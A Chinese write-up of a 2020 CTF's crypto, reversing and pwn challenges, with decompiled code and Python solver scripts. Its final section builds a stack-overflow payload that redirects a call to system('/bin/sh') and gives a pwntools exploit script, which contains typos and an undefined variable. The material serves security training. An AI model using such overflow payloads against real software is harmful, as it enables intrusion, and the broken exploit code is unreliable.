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干货满满的一次ctf

合天网安实验室 476

前言:

此刻姐妹们对“python getch函数”大约比较重视,姐妹们都想要分析一些“python getch函数”的相关知识。那么小编在网上网罗了一些对于“python getch函数””的相关文章,希望咱们能喜欢,你们一起来学习一下吧!

原创 紫色仰望 合天智汇

0x01 前言

这是2020年的第一场的ctf比赛,它已经结束两天,虽然好多大学生们都在准备着期末考试,但这个比赛的热度还有持续着呢,由于网络上关于这个比赛的题解,几乎很少或者不太详细,我就整理了一份详细的题解,没有全部记录,舍去了简单题的记录!并且本文中还夹有一些做题技巧,希望帮到大家!

0x02 Crypto1

下载得到 encode.py,fflag.png,fflag_e.png,flag_e.flag 四个文件

我们看下加密脚本encode.py 的内容:

from itertools import *from key import keyki= cycle(key)fr1 = open("flag.png","rb")fr2 = open("fflag.png","rb")fw1 = open("flag_e.png","wb")fw2 = open("fflag_e.png","wb")for now in fr1:    for nowByte in now:        newByte = nowByte ^ ord(next(ki))        fw1.write(bytes([newByte]))fr1.close()fw1.close()for now in fr2:    for nowByte in now:        newByte = nowByte ^ ord(next(ki))        fw2.write(bytes([newByte]))fr2.close()fw2.close()

我们简单分析下加密脚本encode.py:

flag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到 flag_e.flag fflag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到fflag_e.png 两个图片的 加密算法 是一样的

思路很明确:要得到 flag.png:

现在我们知道 fflag_e.png 和 fflag.png ,所以我们可以反推出 迭代器 ki[] 中的数据。然后 我们再通过ki[] 和 flag_e.flag 反推出 flag.png

迭代器 ki[]中数据 = fflag.png的每个字节 与fflag_e.png的每个字节 循环进行 亦或运算 flag.png的每个字节 = 迭代器 ki[]中数据 与 flag_e.flag的每个字节 循环进行 亦或运算

我们可以参考它给的 加密脚本encode.py 来写 出解密脚本decode1.py

#coding:utf8fflag= open("fflag.png","rb")fflag_e= open("fflag_e.png","rb")fflag_zijie=[]fflag_e_zijie=[]ki=[]for now in fflag:    for nowByte in now:        fflag_zijie.append(nowByte)#print fflag_zijieprint len(fflag_zijie)#5165for now in fflag_e:    for nowByte in now:        fflag_e_zijie.append(nowByte)# print fflag_e_zijieprint len(fflag_e_zijie)#5165for i in range(len(fflag_zijie)):        ki.append(ord(fflag_zijie[i])^ord(fflag_e_zijie[i]))#print ki#[65, 108, 105, 116, 97, 95, 105, 115, 95, 115, 111, 95, 99, 117, 116, 101] 循环重复print len(ki)#5165fflag.close()fflag_e.close()flag= open("flag.png","wb")flag_e= open("flag_e.png","rb")flag_e_zijie=[]for now in flag_e:    for nowByte in now:# 通过迭代器逐行访问      flag_e_zijie.append(nowByte)# 通过迭代器逐字符处理# print flag_e_zijie # 即我们可以得到密钥 key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]key=''for i in range(len(key_0)):  key+=chr(key_0[i])print key;#Alita_is_so_cute

现在我们得到了密钥 key="Alita_is_so_cute",通过它生成迭代器 ki,进而反推出 flag.png

#coding:utf8from itertools import *flag= open("flag.png","wb")flag_e= open("flag_e.png","rb")flag_e_zijie=[]key="Alita_is_so_cute"ki=cycle(key)for now in flag_e:    for newByte in now:      newByte=ord(newByte)^ord(next(ki))      flag.write(bytes(chr(newByte)))flag.close()flag_e.close()

运行,即可得到解密后的flag.png 图片 ,查看图片即可

实验学习:CTF-Crypto练习:;c=C172.19.104.182015011915525400001

Crypto是CTF竞赛中的主要题型之一,主要考查密码学相关知识点,CTF-Crypto系列实验覆盖了替换密码、RSA、AES等加密算法,以及中间人攻击、中间相遇攻击等知识点。

0x03 扫雷 mine

我们下载后 得到一个 扫雷游戏的 mine.exe 游戏,打开后

我刚看到这题,蒙了,我的天哪,扫雷啊!这怎么逆向,后来发现不过如此!

首先,这个游戏的玩法和规则是 和我们平时玩的扫雷 游戏一样,

扫雷失败,提示我们 "游戏结束"

猜测,如果我们将 所有类都排出来 便后给我们flag!

然后我们将它拖入ida 中,查看 main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  FILE *v3; // rax  CONSOLE_SCREEN_BUFFER_INFO csbi; // [rsp+20h] [rbp-30h]  HANDLE handle_out; // [rsp+38h] [rbp-18h]  int j_0; // [rsp+40h] [rbp-10h]  int i_0; // [rsp+44h] [rbp-Ch]  int j; // [rsp+48h] [rbp-8h]  int i; // [rsp+4Ch] [rbp-4h]  _main();  ::j = 1;  v3 = __iob_func();  freopen(&Filename, "r", v3);  while ( 1 )  {    handle_out = GetStdHandle(0xFFFFFFF5);    GetConsoleScreenBufferInfo(handle_out, &csbi);    Hide();    Beginning();    a = GetTickCount();    do    {      while ( 1 )      {        do        {          while ( kbhit() == 0 )          {            Sleep(0xAu);LABEL_44:            b = GetTickCount();            SetConsoleTextAttribute(handle_out, 4u);            position(80, 7);            printf("用时:");                      // 游戏结束!            if ( b - a <= 0x927BF )              printf("0");            printf("%d:", (b - a) / 0xEA60);            if ( (b - a) / 0x3E8 % 0x3C <= 9 )              printf("0");            printf("%d:", (b - a) / 0x3E8 % 0x3C);            if ( (b - a) / 0xA % 0x64 <= 9 )              printf("0");            printf("%d", (b - a) / 0xA % 0x64);          }          spare[0] = getch();        }        while ( spare[0] != -32 && spare[0] != 13 && spare[0] != 32 );        if ( spare[0] != 13 )          goto LABEL_27;        if ( mode & 1 )          break;        if ( map[30 * floatx + floaty] == 64 && !flag[0][30i64 * floatx + floaty] )          goto LABEL_52;        if ( flag[0][30i64 * floatx + floaty] != 1 )        {          Open();          position(0, 0);          SetConsoleTextAttribute(handle_out, 2u);          for ( i = 0; i <= 29; ++i )          {            for ( j = 0; j <= 29; ++j )              Lump(i, j);            printf("\n");          }          position(2 * floaty, floatx);          SetConsoleTextAttribute(handle_out, 1u);          Lump(floatx, floaty);          goto LABEL_27;        }      }    }    while ( map[30 * floatx + floaty] == 120 || map[30 * floatx + floaty] > 48 && map[30 * floatx + floaty] <= 56 );    if ( flag[0][30i64 * floatx + floaty] )    {      --flagnum;      flag[0][30i64 * floatx + floaty] = 0;    }    else    {      ++flagnum;      flag[0][30i64 * floatx + floaty] = 1;    }    position(2 * floaty, floatx);    SetConsoleTextAttribute(handle_out, 1u);    Lump(floatx, floaty);LABEL_27:    if ( spare[0] == 32 )      Mode();    if ( spare[0] == -32 )    {      news = getch();      Move();    }    for ( i_0 = 0; i_0 <= 29; ++i_0 )    {      for ( j_0 = 0; j_0 <= 29; ++j_0 )      {        if ( map[30 * i_0 + j_0] == 120 || map[30 * i_0 + j_0] > 48 && map[30 * i_0 + j_0] <= 56 )          ++game;      }    }    if ( game != 601 )    {      game = 1;      SetConsoleTextAttribute(handle_out, 4u);      position(80, 5);      printf(&byte_486016, (unsigned int)(300 - flagnum));      goto LABEL_44;    }LABEL_52:                                       // 我们重点注意下  这个 LABEL_52 中的内容    SetConsoleTextAttribute(handle_out, 4u);    position(5, 5);    if ( game == 1 )                            // 关键判断    {      printf("游戏结束!");    }    else    {      re();                      // re()函数  是我们的关键函数   我们跟进去      Sleep(0x186A0u);    }    position(5, 8);    Sleep(0x3E8u);    printf("任意键重玩");    scanf("%c%c", spare, spare);    system("cls");    position(0, 0);  }}

我们发现,代码量很大,但逆向的是找到我们想要的关键算法,得到目的信息,当然这里我们的目的信息就是 flag 了,我们根据字符串 "游戏结束" 定位到 main函数几乎最下面的 LABEL_52 部分

LABEL_52:                                       // 我们重点注意下  这个 LABEL_52 中的内容    SetConsoleTextAttribute(handle_out, 4u);    position(5, 5);    if ( game == 1 )                            // 关键判断    {      printf("游戏结束!");    }    else    {      re();                     // re()函数  是我们的关键函数   我们跟进去      Sleep(0x186A0u);    }    position(5, 8);    Sleep(0x3E8u);    printf("任意键重玩");    scanf("%c%c", spare, spare);    system("cls");    position(0, 0);  }}

根据注释中的关键 判断 进而 得知 re()函数 是我们的关键函数 我们跟进去

void __cdecl re(){  int k_0; // [rsp+20h] [rbp-10h]  int i_0; // [rsp+24h] [rbp-Ch]  int k; // [rsp+28h] [rbp-8h]  int i; // [rsp+2Ch] [rbp-4h]  if ( game == 601 )                       // 如果扫除的雷(应该是) =601  {    for ( i = 0; i <= 37; ++i )            // 对 数组 flaga[i]  进行以下  运算    {      flaga[i] -= j++;      if ( j == 4 )        j = 0;    }    for ( k = 0; k <= 37; ++k )                 // 输出 flag      printf("%c", (unsigned int)flaga[k]);    printf(" ");  }  else                                     // 如果扫除的 雷(应该是)!=601  {                                     // 对 数组 flagb[i]  进行以下  运算    for ( i_0 = 0; i_0 <= 46; ++i_0 )    {      flagb[i_0] -= j++;      if ( j == 4 )        j = 0;    }    for ( k_0 = 0; k_0 <= 46; ++k_0 )           // 输出      printf("%c", (unsigned int)flagb[k_0]);    printf(" ");  }}

真的是要我们自己玩通关的话,其实,也是可以出现flag的,但是 30*30 的扫雷,简直超级难扫除完,于是我们根据re()函数中 的 python 脚本去 将 flag 跑出来!

#coding:utf8j=1flaga=[0x67,0x6e,0x64,0x67,0x7c,0x67,0x34,0x30,0x62,0x66,0x66,0x33,0x3a,0x36,0x3c,0x62,0x62,0x37,0x3c,0x61,0x63,0x64,0x68,0x35,0x37,0x67,0x33,0x35,0x38,0x68,0x35,0x30,0x67,0x3a,0x3b,0x33,0x66,0x7f,0x26]for i in range(38):  flaga[i]-=j  j=j+1  if j==4:    j=0print flagaflagaa=""for i in range(38):  flagaa+=chr(flaga[i])print flagaa   #运行便得到flag{e10adc3949ba59abbe56e057f20f883e}
0x04 反编译不准确,就看汇编

问:这里我想大家可能会有个疑问,在re()函数中并没有对 j 赋值,所以我 python中的 j=1是如何来的?

答:这里其实是因为 ida 中 的反编译 并不是 完全 完美的,会有一些 瑕疵,但一般出现反编译后的信息 不太准确时,我们就要去从汇编层面去看:

于是,得到 j 初值 为 1

0x05 idc 脚本 dump ida 中数据

我想这个,当然更多对 初学者而言,是最想知道的,因为我最初学逆向的时候,不会dump ida中的数据,简直很让人抓狂!

我详细来记录下如何dump 数据,这里我选择 idc 脚本,就拿此题举例吧,

if ( game == 601 )                      // 如果   扫除的 雷(应该是) =601  {    for ( i = 0; i <= 37; ++i )                 // 对 数组 flaga[i]  进行以下运算    {      flaga[i] -= j++;      if ( j == 4 )        j = 0;    }    for ( k = 0; k <= 37; ++k )                 // 输出 flag      printf("%c", (unsigned int)flaga[k]);    printf(" ");  }

我们要对数组 flaga[i] 进行运算,首先得要知道数组flaga[i]数据是什么,双击flaga:

然后我们在 ida 菜单栏 点击 File->Script Command,打开命令行窗口

我们第一步:选择idc,接着再写脚本,最后 Run

输出得结果:在ida中得Output 显示

auto i,start,end;start = 0x471020;end = 0x4710BC;Message("\n---------\n");for(i=start;i<end;i=i+4){Message("0x%x,",Dword(i));}//跑出来得数组 flaga[i] (如下):0x67,0x6e,0x64,0x67,0x7c,0x67,0x34,0x30,0x62,0x66,0x66,0x33,0x3a,0x36,0x3c,0x62,0x62,0x37,0x3c,0x61,0x63,0x64,0x68,0x35,0x37,0x67,0x33,0x35,0x38,0x68,0x35,0x30,0x67,0x3a,0x3b,0x33,0x66,0x7f,0x26

当然,如果想要了解更多,可以百度 搜索 ” IDC脚本 “

实验学习:CTF-REVERSE练习之逆向初探

(通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法,考察选手的逆向分析与调试能力。)

0x06 hijack

这道题,难度其实挺大,大概就十多个人做了出来!详细说下这题,希望可以帮到大家!内容较多,请详细看代码中注释。

首先下载下来发现是:64位得elf 程序,简单运行下 ,他让我们输入 flag ,随便输入,不符合要求,返回我们 "Wrong try again!"

~/桌面/yuandan/hijack$ ./hijack

please input flagziseyangwangWrong try again!~/桌面/yuandan/hijack$我们将他拖入ida,看main 函数:__int64 __fastcall main(__int64 a1, char **a2, char **a3){  int v3; // ST0C_4  char s; // [rsp+10h] [rbp-70h]  unsigned __int64 v6; // [rsp+78h] [rbp-8h]  v6 = __readfsqword(0x28u);  memset(&s, 0, 0x64uLL);  memset(::s, 0, 0x64uLL);  puts("please input flag");  __isoc99_scanf("%60s", &s);            //输入  v3 = strlen(&s);  sub_401320(::s, (__int64)&s, v3);  return 0LL;}

主函数得程序逻辑,很简单 ,让我们输入 字符串,然后进入 函数sub_401320()中:我们双击进去观察:

signed __int64 __fastcall sub_401320(_BYTE *a1, __int64 a2, int a3){  _BYTE *v3; // rax  _BYTE *v4; // ST20_8  _BYTE *v5; // rax  _BYTE *v6; // rax  _BYTE *v7; // rax  _BYTE *v8; // rax  _BYTE *v9; // rax  _BYTE *v10; // rax  int i; // [rsp+18h] [rbp-Ch]  _BYTE *v13; // [rsp+1Ch] [rbp-8h]  _BYTE *v14; // [rsp+1Ch] [rbp-8h]  signed __int64 v15; // [rsp+1Ch] [rbp-8h]  v13 = a1;  for ( i = 0; i < a3 - 2; i += 3 )  {    v3 = v13;    v4 = v13 + 1;    *v3 = (*(_BYTE *)(i + a2) >> 2) + 48;    v5 = v4++;    *v5 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;    *v4 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C | (*(_BYTE *)(i + 2LL + a2) >> 6) & 3) + 48;    v6 = v4 + 1;    v13 = v4 + 2;    *v6 = (*(_BYTE *)(i + 2LL + a2) & 0x3F) + 48;  }  if ( i < a3 )  {    v7 = v13;    v14 = v13 + 1;    *v7 = (*(_BYTE *)(i + a2) >> 2) + 48;    if ( i == a3 - 1 )    {      *v14 = (16 * *(_BYTE *)(i + a2) & 0x30) + 48;      v8 = v14 + 1;      v15 = (signed __int64)(v14 + 2);      *v8 = 32;    }    else    {      *v14 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;      v9 = v14 + 1;      v15 = (signed __int64)(v14 + 2);      *v9 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C) + 48;    }    v10 = (_BYTE *)v15;    v13 = (_BYTE *)(v15 + 1);    *v10 = 32;  }  *v13 = 0;  return v13 + 1 - a1;}

无敌像是 base64 加密函数呐, 当然,这件简单 说下base加密 过程

1. 首先将原str按每三个字节 分组,每个分组 3* 8 =24 位,进而得到str的所有 24 个二进位组成的 二进制位

2. 然后将上面的 二进制位 按每6位再分成1组,3个字节可分为 4组

3. 每组 就6 位,在前面给他们都补上两个 0 ,便是3个字节可成功 加密成 4个字节

如果想要详细地了解base64加密编码 可以在网上搜索下,或者在合天网安实验室学习,地址:

我们来看下这个base64加密函数,发现它并不是简单,我们在程序中找不到 table表,它采用了动态生成的方式,

我们再继续向下看,发现魔改的 base64 加密结束后,我们继续回到我们的主函数,发现程序结束了,和我们最初运行程序的 逻辑 不一致啊!我们字符串中也找不到关键字符串"Wrong try again!"

我们再ida 函数栏,函数并不太多 ,我们去找下有用信息:

sub_401216() :void sub_401216(){  if ( (signed int)sub_4011A6() >= 0 )    srand(0x21436587u);  else    srand(0x12345678u);     //动态调试  srand 种子为其实是 0x12345678}sub_401250()函数:void sub_401250(){  signed int i; // [rsp+8h] [rbp-8h] //当种子 为 0x12345678  动态调试查看或者 写脚本                            //   可得到 经过此函数中的运算:                            //   byte_404080[16]=[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]                            //   byte_4040A0[16]=[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]                             signed int j; // [rsp+Ch] [rbp-4h]  for ( i = 0; i <= 15; ++i )    byte_404080[i] ^= rand() % 255;  for ( j = 0; j <= 15; ++j )    byte_4040A0[j] ^= rand() % 255;}sub_401738()函数:int sub_401738(){  size_t v0; // rax  int result; // eax  v0 = strlen(s);  if ( !memcmp(s, &unk_4040C0, v0) )    result = printf("%s", byte_404080);  else    result = printf("%s", byte_4040A0);  return result;}

函数中的 memcmp函数 看起来很像我们 最终的 check 函数,这个操作真的厉害了,不动态的话,还以为 memcmp 函数 是 动态库中 的呢,动态调试发现,其实它是自定义的函数,即sub_401557()

// 经过调试 我们可以知道 // a1  是我们 输入字符串经过魔改后 base加密后 的字符串// a3  是 我们输入字符串经过魔改base64加密后的长度// a2  是unk_4040C0中的 数组[56]signed __int64 __fastcall sub_401557(const char *a1, const char *a2, unsigned int a3){  char v4; // bl  unsigned int v5; // [rsp+Ch] [rbp-A4h]  unsigned int i; // [rsp+28h] [rbp-88h]  unsigned int j; // [rsp+2Ch] [rbp-84h]  __int64 v8; // [rsp+30h] [rbp-80h]  __int64 v9; // [rsp+38h] [rbp-78h]  __int64 v10; // [rsp+40h] [rbp-70h]  __int64 v11; // [rsp+48h] [rbp-68h]  __int64 v12; // [rsp+50h] [rbp-60h]  __int64 v13; // [rsp+58h] [rbp-58h]  __int64 v14; // [rsp+60h] [rbp-50h]  __int64 v15; // [rsp+68h] [rbp-48h]  __int64 v16; // [rsp+70h] [rbp-40h]  __int64 v17; // [rsp+78h] [rbp-38h]  __int64 v18; // [rsp+80h] [rbp-30h]  __int64 v19; // [rsp+88h] [rbp-28h]  int v20; // [rsp+90h] [rbp-20h]  unsigned __int64 v21; // [rsp+98h] [rbp-18h]  v5 = a3;  v21 = __readfsqword(0x28u);  if ( strlen(a1) != a3 || strlen(a2) != v5 )   // a2的长度是56,可以知道输入的字符串 一定是 42 位    return 0LL;  v8 = 0LL;  v9 = 0LL;  v10 = 0LL;  v11 = 0LL;  v12 = 0LL;  v13 = 0LL;  v14 = 0LL;  v15 = 0LL;  v16 = 0LL;  v17 = 0LL;  v18 = 0LL;  v19 = 0LL;  v20 = 0;  memset(&v8, 0, 0x64uLL);  for ( i = 0; v5 > i; ++i )                    // 循环  56 次  {    v4 = a2[i];    *((_BYTE *)&v8 + (signed int)i) = v4 ^ rand() % 200;// 随机数种子是 0x12345678  }  for ( j = 0; v5 > j; ++j )  {    if ( *((_BYTE *)&v8 + (signed int)j) != a1[j] )      return 0LL;  }  return 1LL;}

经过我们静态分析和动态调试,发现程序的执行流程 是这样的

首先程序 从 0x12345678 和 0x21436587 选择了前者 作为随机数种子

然后 我们输入字符串 flag

程序对其进行 魔改的base64 加密 得到 flag_encode 字符串

flag_encode 字符串再与 经过运算后的unk_4040C0[56] 作比较要相等才可以

所以,我们我们要想获得flag,首先要得到经过运算后的unk_4040C0[56],然后进行 魔改的base64 解密即可

首先我们来得到 运算后的unk_4040C0[56] 的数据是怎么样的

#coding:utf8from ctypes import *libc=cdll.LoadLibrary("./libc.so.6")libc.srand(0x21436587)                          # 所以,这题我们 我们得选择 程序没有选择的 随机数种子  0x21436587#libc.srand(0x12345678)                         #因为 随机数种子为 0x12345678 的时候 最后求得 运算后的unk_4040C0[56] 为乱码#下面注释中的  数据  都是 以随机数种子为 0x12345678 求得的 byte_404080=[0x0A, 0x16, 0x4A, 0x66, 0xF0, 0x2C, 0x5A, 0xE0, 0x0D, 0xEF,0xBB, 0xC1, 0xD5, 0x9C, 0x8F,0x81]for i in range(16):    n=libc.rand()%255    byte_404080[i]=byte_404080[i]^nprint byte_404080#[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]byte_4040A0=[0x76, 0xF8, 0x19, 0xEA, 0xF3, 0x95, 0xDE, 0x26, 0xC5, 0xAD, 0x0C, 0x58, 0x68, 0x01, 0xBC, 0xC2]for i in range(16):    n=libc.rand()%255    byte_4040A0[i]=byte_4040A0[i]^nprint byte_4040A0#[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]a2=[0xE8, 0x05, 0x4E, 0xF1, 0xF8, 0xFC, 0x5D, 0xD0, 0x06, 0x3D,   0x48, 0xC1, 0xE0, 0xF8, 0x11, 0xFB, 0xED, 0x0D, 0xD6, 0xD9,   0x60, 0x1A, 0xC5, 0x2A, 0xF2, 0xA3, 0xC2, 0x24, 0x41, 0x46,   0xF2, 0xC0, 0x0B, 0x10, 0x2E, 0xF6, 0x6A, 0xAC, 0x30, 0x03,   0x81, 0x1B, 0x41, 0xC6, 0x79, 0x63, 0xBE, 0x9E, 0xD5, 0x20,   0x1F, 0xC1, 0xFE, 0x51, 0x02, 0xE1]                       #这里a2  即是unk_4040C0[56] 原来的数据v8=''for i in range(56):    v8+=chr(a2[i]^libc.rand()%200)print v8                               #v8   为运算后的unk_4040C0[56]                                       #随机数种子0x214365# v8="I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q"

最后我们再对 v8 进行 魔改 base 解密即可,我把上面的图,放在这方便查看:

这个魔改base64 并没有像正常的base64 去查表,而是在取6位之后 +48 即"0", 当然 也相当于 查表

我们在在写解密脚本的时候需要在 先将 v8 中的数据都先 - 48 即‘0’ 得到

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"表中的下标,通过下找到的table中的值就是正确的base64编码,然后再解码就是flag了

所以 python 脚本 这样写:

import base64v8 = 'I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q'print len(v8)#56table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'flag = ''for i in range(56):    flag += table[ord(v8[i])-48]flag = base64.b64decode(flag)print flag于是    得到  falg:d0_nOt_d3bUg_M4_&nd_fIgu7e_0ut_h1jaCk_gOt!
0x07 pwn_arg

首先 ,我们查看下 它的文件属性和开启了什么保护

~/桌面/yuandan/arg$ file argarg: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=5ee08f2d1ba1c9bd7a5290db45978a949d7179ab, not stripped~/桌面/yuandan/arg$ checksec arg[*] '/home/ziseyangwang/\xe6\xa1\x8c\xe9\x9d\xa2/yuandan/arg/arg'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabledPIE:      No PIE (0x8048000)32位的elf 程序,仅开启了  NX 保护 拖入ida 查看:int __cdecl main(int argc, const char **argv, const char **envp){  init();//初始化  return checker(305419896);}我们进去checker(305419896) 函数 中:int __cdecl checker(int a1){  char buf; // [esp+Eh] [ebp-3Ah]  char name[4]; // [esp+2Ch] [ebp-1Ch]  char *s; // [esp+34h] [ebp-14h]  int (__cdecl *v5)(int); // [esp+38h] [ebp-10h]  int v6; // [esp+3Ch] [ebp-Ch]  v6 = 8;  strcpy(name, "malloc");  //给局部变量 name 赋初值 "malloc"  printf("your input : ");  read(0, &buf, 0x4Au); //这里明显存在 栈溢出漏洞  0x4A > 0x3A  strncpy(st, &buf, 8u);//将我们的输入的前8个字符赋值给全局变量st  v5 = (int (__cdecl *)(int))load(name);//v5=malloc()  if ( a1 != 0xDEADBEEF )    return puts("Think about it ");  s = (char *)v5(v6);         //malloc(v6)  __isoc99_scanf("%s", s);  return puts(s);}

全局变量st:

在这之前 我们要了解下 v5 = (int (__cdecl *)(int))load(name);

void *__cdecl load(char *name){  char *v1; // eax  void *handle; // [esp+8h] [ebp-10h]  void *v4; // [esp+Ch] [ebp-Ch]  handle = dlopen("/lib32/libc.so.6", 258);  if ( !handle )  {    v1 = dlerror();    printf("dlopen - %s\n", v1);    exit(0);  }  v4 = dlsym(handle, name);  if ( !v4 )  {    puts("Can't load function");    exit(0);  }  dlclose(handle);  return v4;}

这里的 load 函数,它是根据传入的参数 字符串name 进而找到的libc库中的函数地址 然后返回给了v5,

我们来分析下 怎么 pwn 掉这个程序? 执行 system('/bin/sh') 。

程序中的 read 函数 存在 栈溢出漏洞,buf 离ebp距离 为0x3A,但我们却可以读入 0x4A 的数据,虽然可以溢出,但溢出去的长度太有限,于是我们考虑下 从 load(name) 函数 入手!

构造payload:

1. system 是 libc 中 的函数,我们 将局部变量name 覆盖为 system

2. 我们将 v6 覆盖为 /bin/sh 所在的地址,即 st 地址

3. 全局变量st = payload 前 8个字符,paylaod前八个字符为 /bin/sh\x00

4. 当参数 a1为 0xDEADBEEF 时 才会 执行 v5(v6) ,所以我们还要将 参数 a1 覆盖为 0xDEADBEEF!

详见下图:

所以 payload 为payload="/bin/sh\x00".ljust(0x1e,"\x00")+"system\x00" #0x3a-0x1cpayload=payload.ljust(0x2e,"\x00")+p32(st_addr) #因为程序是32 位程序payload=payload.0ljust(0x3e,"\x00") #ebppayload+=p32(0) #返回地址paylaod+=p32(0xdeadbeef) #参数 1
python脚本 如下:#coding:utf8from pwn import *conn=process(./arg)payload="/bin/sh\x00".ljust(0x1e,"a")+"system\x00"    #0x3a-0x1cpayload=payload.ljust(0x2e,"a")+p32(st_addr)      #因为程序是32 位程序payload=payload.0ljust(0x3e,"a")  #ebppayload+=p32(0)          #返回地址paylaod+=p32(0xdeadbeef)    #参数 1conn.recvuntil("your input : ")conn.sendline(payload)conn.interactive()

实验学习:CTF-PWN进阶训练

;c=C172.19.104.182015111814415800001

旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等

0x08 后记

我也想上年度评优作品啊!!!

希望本文能给大家带来帮助! 合天网安实验室挺好的,可以去看看呐!

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标签: #python getch函数